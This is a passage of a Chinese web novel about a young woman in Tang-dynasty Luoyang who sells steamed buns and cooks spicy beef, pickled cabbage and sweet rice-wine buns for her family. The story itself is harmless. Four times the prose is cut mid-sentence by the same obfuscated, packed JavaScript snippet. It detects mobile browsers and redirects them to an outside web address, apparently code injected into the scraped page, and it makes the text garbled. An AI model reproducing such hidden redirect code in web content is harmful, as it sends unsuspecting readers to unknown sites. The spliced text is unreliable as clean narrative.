不一会儿，两蒸笼的包子就卖得七七八八了。有个食客买了个蒸饼拿着吃，刚到坊门口便吃完了，又跑回来想再买俩，尹遥一脸歉意：“对不住了，今儿卖光了。” “嗐，”食客顿足，又瞄到她那蒸笼，“小娘子，你这不是还有一个嘛，一个也成。” 尹遥笑道：“这是我留给自己吃的，您明儿再来吧，我明儿多做点。” 还有几个排队想尝尝的，一看全都卖光了，也只能惋惜地走开，寻思着明儿得早点来才行。 随着坊门开启，外出的人群也都开启了一天的生活，门内的小摊儿也清净了下来。费记馄饨摊儿小娘子收摊前，也凑了过来：“你这蒸饼卖得真快啊，这么会儿工夫全卖光啦？” 尹七娘早就吃饱了，笑眯眯地帮尹遥数着今早的收入。尹遥手里则拿着最后一个豕肉菘菜的包子，正准备吃，听了这话便掰了一小半儿给那小娘子，笑道：“你也尝尝？” 小娘子爽快接过来，拿在手里啃了一口：“哎，你这蒸饼还真是不错，又香又有滋味儿，怎么做的啊？我的馄饨怎么就有些寡淡无味的……” 尹遥今儿是特意把摊摆在这里的，馄饨摊的食客们，基本上都不赶时间，会坐下来慢慢吃，跟尹遥的目标客户不冲突，而且还有买了尹遥的蒸饼，又坐到馄饨摊儿买碗馄饨一起吃的。 这几日来附近做市场调研时，她也仔细观察过各家摊主。这馄饨摊儿的小娘子姓费，年纪二十出头，在家也是行三，被称作费三娘。 费三娘是个性格爽快的，尹遥问过她不少关于摆摊的事儿，她都很热心地回答了，还告诉了尹遥不少小窍门。 昨儿尹遥又专门过来跟她打过招呼，说了自己卖的是什么，左右两人没有竞争关系，凑一起倒还能彼此照应照应，费三娘很痛快地答应了。 回忆了一下她家馄饨的味道，尹遥面上露出一丝调皮，道：“我这蒸饼可是秘方，不能告诉你。” 见费三娘面露嗔色，她又道：“不过你这馄饨嘛，其实做得已然不错，若是汤里能再加一点点紫菜，那就更加鲜美了。” 费三娘将信将疑道：“真的假的？紫菜可是很贵呢！” 尹遥伸出手指捏在一起，比划了一下：“只要这么指甲盖大的一点儿，就能给整碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518484|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤提鲜啦！” 费三娘也伸出了手指，边比划边笑道：“就这么一点儿？成，那我回去试试！” “三娘，我来帮你收摊儿。”许二郎从远处走来，见尹遥已经开始收摊，忙从走改成跑的，片刻便到了摊位面前。 尹遥看见他，忙招呼道：“许二哥，你怎么来啦，我自己能行，这不还有七娘帮我嘛！” 许二郎将锅下的柴火熄了，又拔下幌子横放在车上，把车推了起来，憨笑道：“我来我来，你仔细着手。” 尹遥抢不过他，只好笑道：“二哥昨儿刚帮我家挖了菜窖，今儿又来帮我收摊，我都不知道怎么谢你才好了。不然我一会儿做些点心，下午拿去你家送给许婆婆尝尝？” “三娘不用跟我如此客气，我可是答应了阿婆还有康陶兄弟，要好好照顾你……你们的！”许二郎不知想到什么，偷偷红了脸。 把推车推到沈家，许二郎便告辞回去了，尹遥留他吃午饭都无论如何不肯，只说要回去帮阿翁做事，尹遥也不好强求，又道了遍谢，这才放他走了。 陆娘子看到姐妹俩进来，便招呼道：“三娘和七娘回来啦，今儿生意如何？” “还不错，都夸舅母的手艺好呢！估摸着明儿能再多卖两笼。”尹遥笑着答道。 说起今儿的大包子，虽说拌馅儿和发面都是尹遥弄的，包子倒大部分都是陆娘子包的，尹遥只包了几个做示范，陆娘子便照猫画虎学了去，每个都认认真真地捏了十八个褶儿，包得像模像样。 听到自己的劳动成果被肯定，陆娘子开心得像个小孩儿，一通摩拳擦掌，说今儿晚上要再多包一百个包子。 几人相携着一同进了屋，尹遥又坐在桌旁默默算起了帐，昨儿共做了鲜肉蒸饼和鲜肉菘菜蒸饼各五十个，一早上全卖掉了，原本应该是入账两百五十文，因有几个食客买的多，她便打了些折扣，所以实际收入是两百三十五文。 尹遥做生意已是得心应手，心中自有一盘账。 她合计了一下，如今一升小麦的价格是一文钱，约莫着能磨出半斤面粉，差不多够包五个大包子，当然若是买现成磨好的面粉，那这个成本还要上浮一半才行； 一斤猪腿肉是三文钱，纯肉馅儿的能包十个，带菘菜的能包二十个；菘菜是一文钱两斤，再加上腌肉用的葱、姜、米酒以及各种调料，还要算上炭火钱…… 总之七七八八算下来，今儿总共的食材成本便是九十五文，利润则是一百四十文。换句话说，她的毛利率是百分之六十。 对于餐饮业来说，这个毛利率其实是有些低的，也就赚个辛苦钱。好在摆摊儿不需付房租，只要付每日十文钱的商税即可，而且自己干活儿还省了人工费，毛利率也跟净利润差不多了。 何况早点摊儿的食客们，都是赶着出门讨生活的，对价格会比较敏感，薄利多销是她如今最好的选择。 至于其他的目标客群，等到站稳了脚跟，再想办法慢慢开拓就是了！ 22. 水煮牛肉（一） 中午一家四口简单地吃了顿饭，尹遥看今日天色不错，就又带着陆娘子和尹七娘跑到院中，说要腌酸菜。 尹遥最近买了不少大白菜，一部分已储存在了菜窖中，还有一部分则是摊在地上晾晒，如今已晒了五六日，不复刚买时的水灵，看起来有些蔫巴巴的。但这些白菜蒸发掉部分水分后，腌酸菜则是正好，不仅不易腐烂，腌出来的酸菜口感也会更加爽脆。 前几日尹遥从院子角落里翻出来一个大陶缸，老大的一个，便是个成年人都装得进去，也不知道以前阿翁拿它做什么的，不过如今拿来腌酸菜嘛，就再合适不过了。 她先去烧了一大锅热水，又跟陆娘子一起将它洗刷干净，再注入开水消毒，还在缸底撒了一层粗盐。 尹七娘则是乖乖搬了个小矮墩坐在一旁，用力抱起一棵白菜，把它放在膝盖上，仔仔细细地将外面枯黄的老叶子掰掉，再摆到铺了干净麻布的石桌上。 这会儿尹遥和陆娘子已刷完了缸，尹遥拎起一棵白菜，三下五除二切掉根部，又将它从中间劈成两半，扔给陆娘子。 陆娘子站在缸边，伸手接过切好的白菜后，再将它切口朝上、仔仔细细地码在缸里。码好一层白菜再撒一层粗盐，如此反复数次，三个人齐心合力，直到整个大缸都被填满。 “哇，阿姐，我的胳膊酸啦！”尹七娘这一会儿掰了一百多棵白菜，虽说这年代的白菜个头都不大吧，但对于她一个五岁的小女孩来讲，也真是重体力活儿了。尹遥安抚地摸了摸她的小脑袋，笑道：“乖七娘，这儿没事了，你回去陪阿婆吧，晚上阿姐给你做好吃的！” 尹七娘一听有好吃的，马上满血复活，蹦跳着跑进屋去了。“一，二，三，起！”尹遥和陆娘子合力举起一块洗净的大石头，压在了缸里的白菜上。尹遥又把石头往下用力压了压，再在缸上扣一个大盆，等上一个月，这酸菜发酵好就能吃了。 花了大半个下午终于把酸菜腌上了，尹遥怕了拍手，也累得够呛，跟陆娘子一同坐在院子里歇一会儿吹吹风。 “我幼时倒是吃过酸菜，不过好像不是菘菜做的来着？”陆娘子揉了揉发酸的胳膊，笑道。 她之前没怎么干过活儿，一向柔弱得很，不过最近这段日子锻炼的，身体倒是结实了不少，走路也有劲儿了，平日里精神头儿也足了，更是迷上了烹饪，跟着尹遥学得不亦乐乎。 尹遥想到陆娘子是巴蜀人，啊了一声了然道：“舅母之前在家乡吃的，大概是芥菜腌成的老坛酸菜。是不是用小酒坛子腌，而且是泡在盐水中的，盐水里面还会放入米酒、花椒、辣椒，唔……就是茱萸，腌几日就能吃了的那种？” 她一时嘴快，差点儿忘了，这个时代还没有辣椒，而是用茱萸果作为辛辣之味的调料。 说起来茱萸果，尹遥前些日子也买了些，还尝了尝，其实跟现代的辣椒味道差不多，只是没有辣椒的辣那么直白，而是又夹杂了些许类似花椒、茴香之类香辛料的味道。 总体来说，茱萸果的味道更加复杂一点儿，但也足以作为辣椒的一种替代品。 “没错儿没错儿，就是那种酸菜，味道酸酸辣辣的，我家厨子经常拿来做酸汤鱼，可好吃了！”一提到茱萸，陆娘子眼睛瞬间亮了起来，面上浮现出怀念的神色，“哎，却是许多年未曾吃过了。” 尹瑶前世其实也爱吃辣，只不过来了大唐后，寻思着尹七娘年幼，沈老太太又年迈，烹饪的口味一直都比较温和，以鲜香、酱香、酸甜之类的为主。 至于辛辣口味，确实很久没尝过了。 想到这儿，尹遥的馋虫不免也被勾了出来，她朝陆娘子调皮地眨了眨眼：“舅母，咱们今儿晚上也做道辛辣的菜，解解馋如何？” “真的？那可太好了！”陆娘子乐得差点蹦起来。 在香辣美味的驱动下，尹遥也立刻不累了，她从凳子上跳起来，抓起一大把挂着晾干的茱萸果，一溜烟小跑进了厨房。 想起前两日许婆婆拿来的牛肉，尹遥决定做个牛肉两吃。其中一条是肥瘦相间、纹理十分漂亮的牛肋条，便给阿婆和七娘做个清炖牛肋条；至于另一条牛里脊，也就是牛柳，则是精瘦精瘦的，正适合做香香辣辣的水煮牛肉！ “三娘仔细脚下！”瞧着尹遥兴冲冲的背影，陆娘子也是满脸笑意，这外甥女平日里成熟又能干的，遇事一直冲在前面，让人差点都忘了她也才十几岁的年纪，倒是这会儿才露出些孩子气来，跟七娘简直是一个模子里刻出来的。 尹遥先将洗净的牛肋条切成一寸左右大小，冷水下锅，锅中加入葱、姜、米酒去腥。 许婆婆拿来的牛肉应是两三岁的小黄牛，正是最香最嫩的时候，而且处理得十分干净，水开后锅里连血沫都不多，只需要用勺子撇出浮沫就行。 然后盖上锅盖，继续小火炖煮。 她又用刀背轻拍那条牛里脊，将里面的肉筋拍散，让肉的口感更为软嫩，之后后再把它切成薄厚均匀的肉片，加入酱油、米酒、粗盐、生粉、蛋清等配料，抓拌均匀后放在一旁腌制。 “七娘，把你的那碗豆芽拿来！”尹遥朝外面喊了一嗓子，尹七娘应了声，哒哒哒跑回侧屋，捧着个大盘子又跑进了厨房。 前几日为了哄尹七娘玩，尹遥便教她发豆芽儿。 姐妹俩蹲在地上挑拣了半天的黄豆，又拿了个大盘子，在上面盖了层麻布，将那挑好的黄豆平铺了上去。 在侧屋内找了个避光的角落放着，由尹七娘照管，每日勤劳地浇水、隔两日换水，黄豆很快便发了芽，如今长得都有寸许高了。 “阿姐，这豆芽能吃了吗？”捧着自己的劳动成果，尹七娘眼巴巴地问。 “嗯，能吃啦！咱们今晚就尝尝，看看我们七娘发的豆芽好不好吃。”尹遥笑应道，又安排她将里面的水控出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525493|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再把豆芽的老根摘掉。 至于晒干的茱萸果，则是留下几个整个儿的，其余的用石钵磨成粗粉，不一会儿，一股辛辣的味道便从钵中飘了出来。 “啊啾！”正坐在小板凳上乖乖摘豆芽的尹七娘，不小心闻到了茱萸的味道，打了几个大大的喷嚏，她泪眼婆娑地问，“阿姐，这是什么味儿啊？啊啾！” “哎呀，我忘了这码事儿了，”尹遥反应过来，忙将石钵移走。 她又把双手藏在身后，蹲下仔细瞧了瞧尹七娘，看着只是呛了下，眼睛和鼻头有点红，应是没什么大事，便轻声安慰道，“阿姐在捣茱萸果，这辛辣味儿把你呛着了吧？” 尹七娘用胳膊肘抹了抹眼睛，又小心地闻了闻，一脸的懵懵懂懂：“这就是辛辣味儿吗？以前没闻过呢……” “噗嗤，”尹遥笑了出来，看来确实没什么事儿…… 豆芽已摘的差不多了，想着一会儿烧菜的时候还要更辣，她便把七娘撵了出去。 将摘好的豆芽洗净，从中拿出了一把，放进沸水里略焯一下，铺在一个大碗里。又把一棵水灵灵的莴笋削皮，斜着切成菱形薄片，也平铺在豆芽上面。 起锅热油，将花椒、整个儿的干茱萸、葱姜蒜一同下锅，小火煸炒出香味儿，倒入少许酱油再淋上一圈儿米酒，打开炖着牛肋条的大锅，从盛出一碗肉汤倒入油锅。 待肉汤烧开后，再下入腌好的牛肉片儿，抄起锅勺把它滑散，再将整锅连汤带肉一齐倒进铺了豆芽和莴笋的大碗中。 再次起锅热油，等到油微微冒烟，便将它往方才研磨好的茱萸碎中一泼，随着“滋啦”的一声油响，辛辣鲜香的茱萸味儿直冲天灵盖儿而来！ 真香啊！尹遥不禁舒服地长吸了一口气。 她又把这榨好的辣油，淋在了煮好的牛肉上，再撒上些葱花与芫荽，一大碗又香又辣又好吃的麻辣水煮牛肉便做好了。 再切点儿猪肉片，下锅同剩余的黄豆芽一同炒熟，加入少许豆酱和粗盐调味儿。 捞出炖好的牛肋条，用蒜末、姜末、酱油、香醋、胡麻、芫荽等，简单地拌了个鲜香的蘸汁儿，一同端进了主屋。 牛肋条炖了足有大半个时辰，简直是入口即化，尹遥给祖孙二人各夹了一块儿，蘸上蘸汁儿，一股鲜香浓郁的滋味儿便弥漫在口腔中。 尹七娘美美吃完一块儿牛肋条，又兴致勃勃地去夹炒豆芽，可惜她筷子用得还不熟练，夹了掉掉了夹，把尹遥笑得不行。 最后她看不下去了，给妹妹换了把勺子，这才让小家伙儿吃上了亲手种的豆芽：“唔，阿姐，这个豆芽嚼起来好香哇！你之前说这叫‘笨豆芽’，什么是笨豆芽呀？” 不过这回尹七娘的问题，头一次没得到阿姐回应，因为她正在自顾自埋头苦吃，压根儿没听到七娘说啥…… 尹七娘看阿姐吃得香，眼馋地舔了舔自己的嘴唇。 23. 水煮牛肉（二） 尹遥和陆娘子都正在享受久违的美味，今儿这道水煮牛肉中，茱萸放得分量十足，牛肉和配菜都十分入味儿，二人埋头吃得嘶嘶哈哈的，额头上还冒出了汗珠儿。 终于满足了的尹遥抬起头来，忽然撞上了自家妹妹渴望的小眼神儿：“阿姐，我也想尝尝！” 这……乍一听这要求，尹遥犹豫了一下，七娘才五岁，按理说应是尽量避免辛辣食物，但她架不住妹妹的眼神儿，还是用筷子夹了个小片儿的牛肉，吹了又吹才盛到了七娘碗里，又叮嘱道：“七娘小口小口吃啊，觉得辣就赶紧吐出来。” 尹七娘乖巧地点头，迫不及待将牛肉送到了嘴里，舌头第一时间感受到的，便是火辣辣的痛。她连连吹气：“呼呼，阿姐……呼……烫！” 七娘还小，不会形容辛辣的滋味儿，只以为自己是被烫的。见她嘴唇和耳朵都变得通红，额头上也冒出汗来，尹遥赶忙倒了杯水递过去：“七娘快吐掉，喝口水顺顺。” 没想到就她倒水的这么一会儿功夫，尹七娘已缓过了劲儿，反倒是嚼起了嘴里的牛肉，方才皱着的小眉头也舒展了开来，一口口嚼得还挺香。 只见尹七娘将一整片牛肉都吃进了嘴里，不顾嘴唇上火辣辣的灼热感，从凳子上站了起来，离着老远从碗里又夹了片牛肉：“阿姐，痛痛的热热的，好舒服啊！” 啊？尹遥傻眼了：这是什么情况？ 这时，她又看到沈老太太默默拿起筷子，也夹了一片裹满了红色茱萸的……牛肉片。 “阿婆，您也吃辛辣的？”尹遥更加傻眼了，小小声开了口。 沈老太太美美吃了片儿麻辣牛肉，无奈道：“我还以为你一直做清淡的，是因为你不能吃辣呢……” 尹遥眨了眨眼看向陆娘子，眼神里充满了控诉：阿婆能吃辣你怎么不告诉我！ 陆娘子没理她，而是看向了沈老太太，那眼神里充满了迷茫：阿姑，你既然能吃辣，为什么咱家从来不吃啊？ 沈老太太放下筷子，幽幽道：“那还不是因为大郎和二娘从小不吃辣吗？你爱吃怎么从来不说啊，我还纳闷，你一个巴蜀人怎么不吃辣呢……” 尹遥扶额，她突然明白了什么叫做“你妈觉得你冷”，他们家这就叫“你阿姐/孙女/儿媳/阿姑以为你不吃辣”…… 所以，她们之前默不作声地，忍了那么长时间不吃辣，到底是图啥呀？ 三个成年人面面相觑了半晌，都“噗嗤”一声乐了出来。尹七娘不理会这些眉眼官司，又捞了片儿浸在辣汤里的莴笋，咔嚓咔嚓吃得美滋滋。 “得啦！咱们也快吃吧，一会儿都被七娘吃光啦！”尹遥笑够了，赶紧又夹了一筷子。 …… 第二日尹遥早早起床，用昨儿剩下的牛肉高汤和牛肋条，煮了几碗香喷喷热乎乎的牛肉面。当然，还在上面加了辛辣鲜香的茱萸油，一家四口吃得别提多开心了。 吃饱喝足之后，她便带着七娘又推着车出门摆摊儿了。到了昨儿的老地方，还没把摊子支起来，就已有几个食客早早站在那儿等着。尹遥一瞧，打头儿的那个汉子好生眼熟，看着像是昨儿她收摊时折回来，想再买两个包子没买成的。 果不其然，她刚给推车下面的炉灶生上火，那汉子就急不可待地开了口：“小娘子，烦你给我来两个纯肉的，再来两个豕肉菘菜的！” “好嘞，郎君您稍待，我这包子是现蒸的，要一刻钟才能熟。”尹遥笑眯眯应道。 一听还要等，汉子有些急了，不由分说先将一把铜板投到了摊儿上的钱匣里：“我先把账付了，小娘子一会儿可别忘了我的。” 尹七娘踮起脚尖数了数铜板，脆生生道：“正正好好十文，放心吧郎君，我都记住啦！” 话音还没落，就又有几个食客凑了过来： “小娘子，给我也来两个纯肉的，两个菘菜的。” “我要五个纯肉的，钱给你放这儿了啊！” “我要三个菘菜的……” 得，包子还没蒸熟呢，这一会儿便已预订出去了四五十个。到后面尹遥见七娘的小脑瓜一团乱麻，已然记不清谁要几个了，忙笑着叫了停，直道今儿的包子多，保证大家伙儿都有份。 说是这么说，可到包子熟的时候，她的摊位前已排起了长队，除了昨儿尝过的熟客外，还有不少见这儿人多，也过来排着凑热闹的。 昨儿来过的熟客知晓她的包子实惠又好吃，因此一买便是十个八个的，有的带给家人，有的带给工友，还有的直接把一日的三餐都解决了。 凑热闹的没这么大胆，结果就是又重复了一遍昨儿的流程：将信将疑地买一个，真香，再来俩…… 坊门刚开了没一会儿，尹遥的四笼大包子就卖光了，有食客排了半天队都没买到，跺脚叹气。 尹遥跟没买到的食客连连抱歉，又承诺明儿出摊时若再来，可以给打些折扣，这才勉强安抚好了对方的情绪。 今儿天气不错，太阳暖洋洋地照着，馄饨摊儿上的食客们，都已开始吃上了，费三娘终于得了一丝空闲，便靠在尹遥的推车旁边晒太阳，边跟她闲聊。 昨儿回去后，费三娘便听尹遥的话，试了一下往馄饨汤里加紫菜，发现果然鲜美了许多。而且这紫菜只需放一点点，对成本影响也不大，她合计了一下，便从今早开始，每碗馄饨里都会加点儿。 食客们吃了都赞不绝口，生意也热闹不少，这下不由得对尹遥更亲近了：“我说沈娘子，你这包子卖得够快的呀，怎么没多包点儿？” 听了这话，尹遥无奈地笑了一下。之所以是两百个，一方面是这才第二天出摊儿，还摸不准到底能卖多少，但更重要的是，她心有余力不足啊！ 这倒不是说她和陆娘子一晚上只能包两百个包子，而是她之前买的都是未曾脱壳的小麦，要想拿来包包子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538407|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还得先把小麦里的杂质挑出来，浸泡淘洗干净，放入石磨人工脱壳磨成粉，再筛去麸皮才行。而且手工的石磨也比较粗糙，若想磨得精面粉，一遍不够还得磨两遍…… 这一天忙忙碌碌下来，也就能磨出二十来斤的面粉，可不就只能包两百个包子嘛！ 尹遥叹了口气，唉，真是怀念工业化的现代社会啊！看来还得想想办法…… “沈娘子！”见尹遥走了神，费三娘叫了一声，又故意咳嗽了两下，“你琢磨什么哪？” 沈娘子？ 尹遥方才的注意力都被“为什么不多包点儿包子”给吸引了，这会儿才发现哪里不太对，拍了下自己的额头道：“一直忘记告诉你了，我不姓沈，我姓尹，你叫我尹三娘就好。” “你姓尹？尹……三娘？”费三娘眨了眨眼，扭头盯着她那招牌瞅了半天，又一脸懵地指着道，“你这写的不是沈记吗！” 尹遥失笑，尹七娘原本在埋头数钱，听了这话也抬起头：“阿姐继承的是阿公和阿娘的招牌，我们阿爹是姓尹哒！” 说起来也是巧合，尹遥上辈子在现代社会时，也是叫这个名字，不过那是随了自己母亲的姓氏。谁料穿到大唐后，自个儿竟然还是姓尹，只不过这个“尹“，”随的却是尹家姐妹的父亲。 费三娘这回听明白了，一脸的恍然大悟，搞了半天原来是沈记的尹娘子。 片刻后，她又想起一件事，好奇道：“话说，昨儿来帮你收摊儿的，是坊正家的孙子吧？你前些日子在我摊儿上吃馄饨，我也见过几次他跟你同桌呢！” 尹遥不明所以，只随意点了点头。费三娘又挤了挤眼睛调侃：“他该不会是心悦你吧？帮你收摊儿收的，那叫一个勤快哟！” “啊？没这回事儿，我们两家长辈是朋友，这才走得近了些，并没什么其他的。” “少装傻了，昨儿跟你说几句话脸都红了，我才不信你看不出来。” 费三娘用手指轻戳了下尹遥的额头，嗔道：“坊正家在咱们嘉庆坊内，可是数一数二的人家了，嫁进去自然不愁吃喝。何况我看那许二郎一表人才，人也憨厚老实得很，跟你可是十分般配呢！” 尹遥摇了摇头：“我不曾想过这些，如今满脑子想的，都只是让家人过得好一些而已。其他的以后再说吧……” 费三娘轻哼一声：“你有空啊，还是多想想才好。行不行的也别拖着人家，趁早给个准信儿才是！” “话说，你怎么关心起这事儿来了？”尹遥仔细瞅了瞅她的神色，感觉有点儿不对劲。 “唔……”一向爽快的费三娘忽然有些支吾了起来，轻咳几下才道，“我是寻思着……你若没这意思，我可就要出手啦！” “你？”尹遥震惊了！不为其他的，而是费三娘她她她，她明明是妇人打扮啊？ 半晌尹遥终于找回了语言：“不是……你等等！你不是嫁人了吗！” 24. 醪糟小馒头 费三娘面对她的震惊，只幽幽道：“我家那个短命鬼，我才嫁进去没半年就一命呜呼了！这都三年过去了，孝期也马上结束了，我不得给自己寻个出路吗？” 尹遥被这神来之笔给镇住了，一时不知该作何回应，半晌才眨了眨眼，点头应道：“啊……这……这倒也是……” 瞧着远远跑过来的许二郎，费三娘小声道：“所以啊，你有空多想想，听到了没？” 尹遥默默扶额：“好，好，我晓得了……我多想想……” 都说唐朝女子婚嫁自由，她这会儿才真正见识了，虽说还没像现代一般嫁娶随意吧，但这主动出击的姿态，也是给了尹遥亿点点震撼。 收拾好摊子，许二郎接过了推车，三人一同往家中走去。刚进院子，就听到屋里传来好几个女子的聊天声，听起来热闹得很。 几人忙进去打招呼，只见屋里除了沈老太太和坊正家的许婆婆外，还围坐着四五个老太太，见几人进屋，都笑眯眯瞅了过来。 “三娘，七娘，快来见过你陈婆婆、郑婆婆、宋婆婆、颜婆婆，他们家也是住在坊中的，都是阿婆的老姐妹了。”沈老太太朝着姐妹俩招手，又自豪地笑道，“你们不是都吵着要见我孙女儿嘛，这就是了。怎么样，标致吧？” 两人忙施了礼，尹七娘照例扑到了阿婆怀中，用头蹭着她撒娇。几个婆婆都纷纷笑道：“这大的俏生生的，小的也是水灵灵，一走出去，谁不说你沈老太太有福气！” 众人夸赞了几句，又瞧见许二郎跟在后面，又笑道：“哎呀，这不是许家的二郎吗，你怎么在这儿？来找你阿婆？” 许婆婆笑着瞪了自家孙儿一眼，嗔道：“他啊，哪是来找我。” 几个婆婆相互对视了一下，都露出了心照不宣的笑容，许二郎被调侃得脸都红了。 尹遥不想接这个话题，见陆娘子不在屋内，估摸着她在厨房，便笑道：“各位婆婆先聊着，孙女儿去给您们弄点儿饮子喝。” 她转身从主屋出来进了厨房，陆娘子这会儿果然在，正拿着个甜瓜要切，又左比划右比划的，一时有点儿不知从哪下手。 尹遥方才从院中拿了根山药，洗净随手掰成小段儿，放到锅里蒸上，又从柜子里取出了一小袋胡桃，递给了陆娘子，笑道：“舅母先帮我把胡桃仁儿磨碎，等下做点儿胡桃露喝，甜瓜我来弄吧。” “这甜瓜还挺新鲜的，舅母刚买的吗？”接过甜瓜瞧了瞧，这瓜有两个拳头大，瓜蒂翠绿，看着像这一两日新摘的，她先放到一旁，随口问道。 陆娘子摇了摇头：“这甜瓜是宋婆婆带来的，她还带了许多其他应季水果，甚至还有两颗大石榴，可都是难得的好物，我都放到菜窖里了。” 说起来菜窖，陆娘子还挺新奇的，她娘家本在巴蜀，冬日里很少会结冰，嫁到洛阳后，沈府中又有仆从每日去南市采买，倒还从未见过这种储存方式。她边卖力捣着胡桃边道：“话说三娘，这菜窖真有用吗？” “自然，果蔬放在地窖中，能一直到明年开春都不坏呢！”尹遥前世童年时，曾随母亲生活在乡下一段时间，那时还没普及温室大棚种植，冬季蔬菜的品种很少，因此家家户户院中都挖了菜窖，秋季时便会采购许多易于储存的蔬菜，堆满在菜窖内。 若是储存得当，这些蔬菜完全可以不冻不腐，能供全家人吃上整个冬天呢！ 而且这菜窖不仅冬暖，夏季也十分凉爽，若是挖得足够深，更是可以将冬日里储存的冰块，一直保存到炎炎夏日也不会化。不过沈家这菜窖，也就一人多深，储冰是不能了，夏日里放放瓜果蔬菜还是不错的。 昨儿包包子时，还余了些发好的面，此刻仍扣在盆子下。两人说着话，尹遥将面团取了出来，这会儿发得比昨晚还要大一些，她准备拿来做点儿醪糟小馒头。 她前些日子买了一点儿酒曲，拌入到浸泡蒸好的糯米中，如今两日过去，打开密封的酒坛，已能闻到清甜的酒香，说明这醪糟已酿好了。 拿起一把干净的勺子，将酒坛里浸泡着汁水的糯米捞出来，这发酵好的糯米也叫做甜醪糟或者甜酒酿。尹遥捏起一颗尝了尝，糯米香里又混合了甜味儿和些许酒味儿，用来做甜品再合适不过了。 将甜醪糟倒进面团中，再撒入一把糖渍桂花，轻轻揉匀后，用擀面杖擀成一大张薄饼，叠成三折再擀薄，如此反复几次，最后将面饼卷成长条，用刀切成小块，搓成一个个胡桃般大小的馒头。 尹遥掀开锅盖，将刚蒸好的山药夹出，再把圆球型的小馒头仔细地摆在蒸笼上，在表面撒上一层干桂花，盖上锅盖大火蒸制。 “三娘，我胡桃研磨好了，接下来做什么？”陆娘子擦了把汗，又按照尹遥所说，将胡桃倒入小陶瓮中，加入水、饴糖和牛乳，边加热边搅拌，随着液体的沸腾，一阵阵香甜的气味儿也飘散了出来。 尹遥将山药去皮后捣成泥，又抓了把红枣，洗净后用剪刀绕着果核将果肉剪下来，切成一颗一颗的碎粒，也拌入山药泥中，用模具整形，盛到小碟子中。 再将甜瓜洗净，麻利地将头尾削去，放在案板上转着圈儿一片一片往下削皮，再将瓜瓤一切为二，只听咔嚓的一声脆响，想必是熟透了。尹遥拿勺子挖掉中间的籽儿，将果肉切成厚度均匀的薄片摆入另一个小碟子。 左瞧瞧右瞧瞧有些不满意，她想了想，又用瓜皮迅速地雕了个小花，立在碟子中间，一碟普通的甜瓜便成了精致的小果盘。 夹出金桂醪糟小馒头，又洗了几个金桔和龙眼，也都分别装在碟子里，端进了主屋。 这会儿许二郎已自回家去，房中几个老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553208|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太太还在笑呵呵闲聊，尹遥进来，将各色水果点心摆好，又搬了个小胡凳，坐在沈老太太身旁。 “哟，三娘这么会儿工夫就准备了这么多？你这手脚也太麻利了吧！”见尹遥出去不过两刻钟，竟就端了四个小碟子回来，几个婆婆都十分惊讶。 尹遥谦虚道：“婆婆们过奖了，不过是两鲜果并两甜品，并不是什么金贵东西，给婆婆们聊天时胡乱凑趣儿罢了。” 许婆婆当先夹了块红枣山药糕尝了一口，点头笑道：“前几日我吃了你做的赤豆薯蓣糕，这几日心里还一直惦记着。今儿这糕也是薯蓣做的吧？仿佛跟那天的味儿又不大一样，更甜一些，但也同样软糯可口。” 郑婆婆则是夹了个小馒头放入口中，那馒头只有胡桃大小，一口便能吃进去，她眼睛一亮，道：“这蒸饼倒是有趣儿，又香又软不说，除了桂花香还有隐隐的酒香，三娘莫不是在里面放了酒？” 尹遥笑着给几人介绍：“这道是红枣薯蓣糕，其中薯蓣益肾健脾，红枣补脾和胃，都是再好不过的温补食材。这道则是金桂醪糟小馒头，孙女儿在里面放的倒不是酒，而是糯米酿成的甜醪糟。它不会像酒一般容易醉人，却有补血养颜、舒筋活血的效果，是不错的滋补佳品呢！” 这会儿陆娘子也盛好了牛乳胡桃露，端进来在每人面前摆了一盏，尹遥又道：“胡桃也被称为长寿果，有健脾安神的功效，婆婆们也快尝尝。” 